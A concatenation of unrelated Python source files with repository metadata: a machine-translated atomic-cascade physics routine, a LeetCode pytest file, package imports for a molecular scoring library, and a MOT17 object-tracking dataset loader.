DRX#(10,28] global DRY#(10,28] global DRZ#[10,28] #DIMENSION TEMP=[0 for x in range(17)] TEMP1=[0 for x in range(289)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # ISTART=IONSUM[int(NVAC)] ISTARTF=IFLSUM[int(NVAC)] API=numpy.arccos(-1.00) TWOPI=2.00*API def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): ELEFT=ELECEN INIT=1 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] IONSUM[int(NVAC)]=ISTART+1 IFLSUM[int(NVAC)]=ISTARTF # STORE PHOTOELECTRON ENERGY AND ANGLE ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] ELEFT=ELEFT-ELECN NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # USE PHOTOELECTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRCOS(DRX0(NVAC,L1),DRY0(NVAC,L1),DRZ0(NVAC,L1),THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRXX DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRYY DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRZZ # LOOP AROUND CASCADE def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # CHECK FOR ELECTRON SHAKEOFF IDUM=1 if(INIT > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] INSUM=IONSUM[int(NVAC)] SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,IDUM,INSUM,JVAC) # CALCULATE ENERGY OF ELECTRON if(JVAC == 0): GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # ELECTRON + SHAKEOFF ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28) : print(' 4TH GEN ION CHARGE LIMITED TO 28 IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION ANGLE R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): UPDATE(KGAS,LGAS,ISHELL) INIT=2 # CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[int(KGAS)][int(LGAS)][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J] # NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0): return # NORMALISE TO 1.0 for I in range(1,17+1): RADR[int(KGAS)][int(LGAS)][ISHELL][I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]/TSUM # CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[int(KGAS)][int(LGAS)][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]+TEMP[I-1] TEMP1[1]=AUGR[int(KGAS)][int(LGAS)][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][1]+TEMP1[I-1] for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][(J+1)]+TEMP1[I+(J*17)-1] # FIND FLUORESCENCE OR AUGER TRANSITION R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]) : # STORE PHOTON ENERGY AND UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-ELEV[I][IZ[int(KGAS)][int(LGAS)]] ELEFT=ELEFT-EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) counter116=1 while(counter116): R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1(I+((J-1)*17))) : # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28) : print(' 4TH GEN ION CHARGE LIMITED TO 28 IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print(' ERROR IN CASCADE 4') sys.exit() # end def CALC5(NVAC,KGAS,LGAS,ELECEN,ISHELL,L1): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) # SCR=""\nSCR1="" #COMMON/GENCAS/ global ELEV#[17,79] global NSDEG#[17] global AA#[17] global BB#[17] global SCR,SCR1 #COMMON/MIXC/ global PRSH#(6,3,17,17) global ESH#(6,3,17) global AUG#(6,3,17,17,17) global RAD#[6,3,17,17] global PRSHBT#(6,3,17) global IZ#[6,3] global INIOCC#(6,3,17) global ISHLMX#(6,3) global AMZ#[6,3] #COMMON/UPD/ global NOCC#(6,3,17) global AUGR#(6,3,17,17,17) global RADR#(6,3,17,17) #COMMON/CALCAS4/ global IONSUM0#(10) global IFLSUM0#(10) global ESTORE0#(10,28) global EPHOTON0#(10,28) global DRXE0#(10,28) global DRYE0#(10,28) global DRZE0#(10,28) global DRX0#(10,28) global DRY0#(10,28) global DRZ0#(10,28) #COMMON/CALCAS5/ global IONSUM#(10) global IFLSUM#(10) global ESTORE#(10,28) global EPHOTON#(10,28) global DRXE#(10,28) global DRYE#(10,28) global DRZE#(10,28) global DRX#(10,28) global DRY#(10,28) global DRZ#[10,28] #DIMENSION TEMP=[0 for x in range(17)] TEMP1=[0 for x in range(289)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # ISTART=IONSUM[int(NVAC)] ISTARTF=IFLSUM[int(NVAC)] API=numpy.arccos(-1.00) TWOPI=2.00*API def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): ELEFT=ELECEN INIT=1 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] IONSUM[int(NVAC)]=ISTART+1 IFLSUM[int(NVAC)]=ISTARTF ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] ELEFT=ELEFT-ELECN NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # USE PHOTOELECTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRCOS(DRX0[int(NVAC)][L1],DRY0[int(NVAC)][L1],DRZ0[int(NVAC)][L1],THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRXX DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRYY DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRZZ # LOOP AROUND CASCADE def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # CHECK FOR ELECTRON SHAKEOFF IDUM=1 if(INIT > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] INSUM=IONSUM[int(NVAC)] SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,IDUM,INSUM,JVAC) # CALCULATE ENERGY OF ELECTRON if(JVAC == 0): GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # ELECTRON + SHAKEOFF ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28) : print(' 5TH GEN ION CHARGE LIMITED TO 28 IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION ANGLE R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): UPDATE(KGAS,LGAS,ISHELL) INIT=2 # CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[int(KGAS)][int(LGAS)][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J] # NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0): return # NORMALISE TO 1.0 for I in range(1,17+1): RADR[int(KGAS)][int(LGAS)][ISHELL][I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][J]/TSUM # CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[int(KGAS)][int(LGAS)][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[int(KGAS)][int(LGAS)][ISHELL][I]+TEMP[I-1] TEMP1[1]=AUGR[int(KGAS)][int(LGAS)][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][1]+TEMP1[I-1] for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[int(KGAS)][int(LGAS)][ISHELL][I][(J+1)]+TEMP1[I+(J*17)-1] # FIND FLUORESCENCE OR AUGER TRANSITION R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]) : # STORE PHOTON ENERGY AND UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-ELEV[I][IZ[int(KGAS)][int(LGAS)]] ELEFT=ELEFT-EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) counter116=1 while(counter116): counter116=0 R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1[I+((J-1)*17)]) : # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28) : print(' 5TH GEN ION CHARGE LIMITED TO 28 IONSUM=',IONSUM[int(NVAC)]) sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R4=random.uniform(0.0,1.0) PHI=TWOPI*R4 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE return # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print(' ERROR IN CASCADE 5') sys.exit() # end

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false

0.002315

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0

null

0

1

0

1

0

null

0

7

82a3aea34ee00628b840ea5e29c026faf7a105fd

1,594

py

Python

tests/test_1851.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

tests/test_1851.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

tests/test_1851.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

#!/usr/bin/env python import pytest """ Test 1851. Minimum Interval to Include Each Query """ @pytest.fixture(scope="session") def init_variables_1851(): from src.leetcode_1851_minimum_interval_to_include_each_query import Solution solution = Solution() def _init_variables_1851(): return solution yield _init_variables_1851 class TestClass1851: def test_solution_0(self, init_variables_1851): assert init_variables_1851().minInterval([[1, 4], [2, 4], [3, 6], [4, 4]], [2, 3, 4, 5]) == [ 3, 3, 1, 4, ] def test_solution_1(self, init_variables_1851): assert init_variables_1851().minInterval( [[2, 3], [2, 5], [1, 8], [20, 25]], [2, 19, 5, 22] ) == [2, -1, 4, 6] #!/usr/bin/env python import pytest """ Test 1851. Minimum Interval to Include Each Query """ @pytest.fixture(scope="session") def init_variables_1851(): from src.leetcode_1851_minimum_interval_to_include_each_query import Solution solution = Solution() def _init_variables_1851(): return solution yield _init_variables_1851 class TestClass1851: def test_solution_0(self, init_variables_1851): assert init_variables_1851().minInterval([[1, 4], [2, 4], [3, 6], [4, 4]], [2, 3, 4, 5]) == [ 3, 3, 1, 4, ] def test_solution_1(self, init_variables_1851): assert init_variables_1851().minInterval( [[2, 3], [2, 5], [1, 8], [20, 25]], [2, 19, 5, 22] ) == [2, -1, 4, 6]

22.450704

101

0.59473

212

1,594

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1

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null

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1

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1

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null

0

9

82c328bd97463563ef022a0a1cfd7a21a31c0060

586

py

Python

reinvent_scoring/scoring/__init__.py

MolecularAI/reinvent-scoring

f7e052ceeffd29e17e1672c33607189873c82a45

[ "MIT" ]

null

reinvent_scoring/scoring/__init__.py

MolecularAI/reinvent-scoring

f7e052ceeffd29e17e1672c33607189873c82a45

[ "MIT" ]

2

2021-11-01T23:19:42.000Z

2021-11-22T23:41:39.000Z

reinvent_scoring/scoring/__init__.py

MolecularAI/reinvent-scoring

f7e052ceeffd29e17e1672c33607189873c82a45

[ "MIT" ]

2

2021-11-18T13:14:22.000Z

2022-03-16T07:52:57.000Z

from reinvent_scoring.scoring.function import * from reinvent_scoring.scoring.enums import * from reinvent_scoring.scoring.score_components import * from reinvent_scoring.scoring.component_parameters import ComponentParameters from reinvent_scoring.scoring.score_summary import FinalSummary, ComponentSummary, LoggableComponent from reinvent_scoring.scoring.score_transformations import TransformationFactory from reinvent_scoring.scoring.scoring_function_factory import ScoringFunctionFactory from reinvent_scoring.scoring.scoring_function_parameters import ScoringFunctionParameters

58.6

100

0.904437

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586

8.15873

0.31746

0.272374

0.29572

0.404669

0.476654

0.159533

0

0.059727

586

9

101

65.111111

0.932849

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

7d5649c6b0b64ee81194b607ac28c5f2d12f97cb

7,014

py

Python

datasets/mot.py

yutliu/better_detr

f4e309a1947474be0c9aca98afb9adad52193df4

[ "Apache-2.0" ]

3

2021-01-05T03:27:33.000Z

2021-01-05T09:42:57.000Z

datasets/mot.py

yutliu/better_detr

f4e309a1947474be0c9aca98afb9adad52193df4

[ "Apache-2.0" ]

null

datasets/mot.py

yutliu/better_detr

f4e309a1947474be0c9aca98afb9adad52193df4

[ "Apache-2.0" ]

null

# Copyright (c) Yutliu """ MOT dataset which returns image_id for evaluation. """ from pathlib import Path import numpy as np import torch import torch.utils.data import os.path as osp from PIL import Image, ImageDraw import datasets.transforms as T class MOTDetection: def __init__(self, args, seqs_folder, transforms): self.args = args self._transforms = transforms path = r'/share/home/kaihuatrack/Code/detr/datasets/data_path/mot17.train' with open(path, 'r') as file: self.img_files = file.readlines() self.img_files = [osp.join(seqs_folder, x.strip()) for x in self.img_files] self.img_files = list(filter(lambda x: len(x) > 0, self.img_files)) self.label_files = [ x.replace('images', 'labels_with_ids').replace('.png', '.txt').replace('.jpg', '.txt') for x in self.img_files] self.item_num = len(self.img_files) def pre_data(self, idx): img_path = self.img_files[idx] label_path = self.label_files[idx] img = Image.open(img_path) targets = {} w, h = img._size if osp.isfile(label_path): labels0 = np.loadtxt(label_path, dtype=np.float32).reshape(-1, 6) # Normalized cewh to pixel xyxy format labels = labels0.copy() labels[:, 2] = w * (labels0[:, 2] - labels0[:, 4]/2) labels[:, 3] = h * (labels0[:, 3] - labels0[:, 5]/2) labels[:, 4] = w * (labels0[:, 2] + labels0[:, 4]/2) labels[:, 5] = h * (labels0[:, 3] + labels0[:, 5]/2) # draw = ImageDraw.Draw(img) # for label in labels: # draw.rectangle(label[2:6].tolist(), outline=tuple(np.random.randint(0, 255, size=[3]))) # img.show() targets['boxes'] = [] targets['area'] = [] targets['iscrowd'] = [] targets['labels'] = [] targets['image_id'] = torch.as_tensor(idx) targets['size'] = torch.as_tensor([h, w]) targets['orig_size'] = torch.as_tensor([h, w]) for label in labels: targets['boxes'].append(label[2:6].tolist()) targets['area'].append(label[4] * label[5]) targets['iscrowd'].append(0) targets['labels'].append(0) targets['area'] = torch.as_tensor(targets['area']) targets['iscrowd'] = torch.as_tensor(targets['iscrowd']) targets['labels'] = torch.as_tensor(targets['labels']) targets['boxes'] = torch.as_tensor(targets['boxes'], dtype=torch.float32).reshape(-1, 4) targets['boxes'][:, 0::2].clamp_(min=0, max=w) targets['boxes'][:, 1::2].clamp_(min=0, max=h) return img, targets def __getitem__(self, idx): img, target = self.pre_data(idx) if self._transforms is not None: img, target = self._transforms(img, target) img_path = self.img_files[idx] return img, target def __len__(self): return self.item_num class MOTDetection_val: def __init__(self, args, seqs_folder, transforms): self.args = args self._transforms = transforms path = r'/share/home/kaihuatrack/Code/detr/datasets/data_path/mot17.train' with open(path, 'r') as file: self.img_files = file.readlines() self.img_files = [osp.join(seqs_folder, x.strip()) for x in self.img_files] self.img_files = list(filter(lambda x: len(x) > 0, self.img_files)) self.label_files = [ x.replace('images', 'labels_with_ids').replace('.png', '.txt').replace('.jpg', '.txt') for x in self.img_files] self.item_num = len(self.img_files) def pre_data(self, idx): img_path = self.img_files[idx] label_path = self.label_files[idx] img = Image.open(img_path) targets = {} w, h = img._size if osp.isfile(label_path): labels0 = np.loadtxt(label_path, dtype=np.float32).reshape(-1, 6) # Normalized cewh to pixel xyxy format labels = labels0.copy() labels[:, 2] = w * (labels0[:, 2] - labels0[:, 4]/2) labels[:, 3] = h * (labels0[:, 3] - labels0[:, 5]/2) labels[:, 4] = w * (labels0[:, 2] + labels0[:, 4]/2) labels[:, 5] = h * (labels0[:, 3] + labels0[:, 5]/2) # draw = ImageDraw.Draw(img) # for label in labels: # draw.rectangle(label[2:6].tolist(), outline=tuple(np.random.randint(0, 255, size=[3]))) # img.show() targets['boxes'] = [] targets['area'] = [] targets['iscrowd'] = [] targets['labels'] = [] targets['image_id'] = torch.as_tensor(idx) targets['size'] = torch.as_tensor([h, w]) targets['orig_size'] = torch.as_tensor([h, w]) for label in labels: targets['boxes'].append(label[2:6].tolist()) targets['area'].append(label[4] * label[5]) targets['iscrowd'].append(0) targets['labels'].append(0) targets['area'] = torch.as_tensor(targets['area']) targets['iscrowd'] = torch.as_tensor(targets['iscrowd']) targets['labels'] = torch.as_tensor(targets['labels']) targets['boxes'] = torch.as_tensor(targets['boxes'], dtype=torch.float32).reshape(-1, 4) targets['boxes'][:, 0::2].clamp_(min=0, max=w) targets['boxes'][:, 1::2].clamp_(min=0, max=h) return img, targets def __getitem__(self, idx): img, target = self.pre_data(idx) if self._transforms is not None: img, target = self._transforms(img, target) img_path = self.img_files[idx] return img, target def __len__(self): return self.item_num def make_mot_transforms(image_set): normalize = T.Compose([ T.ToTensor(), T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) ]) scales = [480, 512, 544, 576, 608, 640, 672, 704, 736, 768, 800] if image_set == 'train': return T.Compose([ T.RandomHorizontalFlip(), T.RandomSelect( T.RandomResize(scales, max_size=1333), T.Compose([ T.RandomResize([400, 500, 600]), T.RandomSizeCrop(384, 600), T.RandomResize(scales, max_size=1333), ]) ), normalize, ]) if image_set == 'val': return T.Compose([ T.RandomResize([800], max_size=1333), normalize, ]) raise ValueError(f'unknown {image_set}') def build(image_set, args): root = Path(args.mot_path) assert root.exists(), f'provided MOT path {root} does not exist' if image_set == 'train': dataset = MOTDetection(args, root, transforms=make_mot_transforms(image_set)) if image_set == 'test': dataset = MOTDetection_val(args, root, transforms=make_mot_transforms(image_set)) return dataset

36.341969

105

0.563872

889

7,014

4.304837

0.184477

0.032924

0.056441

0.041808

0.81134

0.804808

0.78913

0.766658

0

0.039437

0.280582

7,014

192

106

36.53125

0.718985

0.063872

0

0.794521

0

0.078967

0.019551

0

0.006849

1

0.068493

false

0

0.047945

0.013699

0.191781

0

null

0

1

0

1

0

null

0

7

7d56e4a994957760900241cbb071a75c2f5923a2

247

py

Python

src/retrieve/methods/align/__init__.py

emanjavacas/retrieve

451df1cb99d637aca54616c6c342bc0408057c48

[ "MIT" ]

null

src/retrieve/methods/align/__init__.py

emanjavacas/retrieve

451df1cb99d637aca54616c6c342bc0408057c48

[ "MIT" ]

2

2020-06-04T20:42:16.000Z

2020-09-14T07:49:20.000Z

src/retrieve/methods/align/__init__.py

emanjavacas/retrieve

451df1cb99d637aca54616c6c342bc0408057c48

[ "MIT" ]

1

2020-07-21T12:45:52.000Z

from .align import BaseScorer, EmbeddingScorer, ConstantScorer, LookupScorer from .align import get_horizontal_alignment, local_alignment from .align import get_alignment_ranges, get_alignment_string from .parallel_align import align_collections

41.166667

76

0.874494

30

247

6.9

0.5

0.21256

0.217391

0.173913

0

0.089069

247

5

77

49.4

0.92

0

1

0

true

0

1

0

1

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null

1

0

1

0

null

0

1

0

1

0

1

0

7

7d9632725f09a026d9581e9fcc6358f43e4176a4

31,407

py

Python

objects.py

veeral-agarwal/DX-BALL

d2e83c1cbbccd2122f53b5904066797cd6d30975

[ "MIT" ]

null

objects.py

veeral-agarwal/DX-BALL

d2e83c1cbbccd2122f53b5904066797cd6d30975

[ "MIT" ]

null

objects.py

veeral-agarwal/DX-BALL

d2e83c1cbbccd2122f53b5904066797cd6d30975

[ "MIT" ]

null

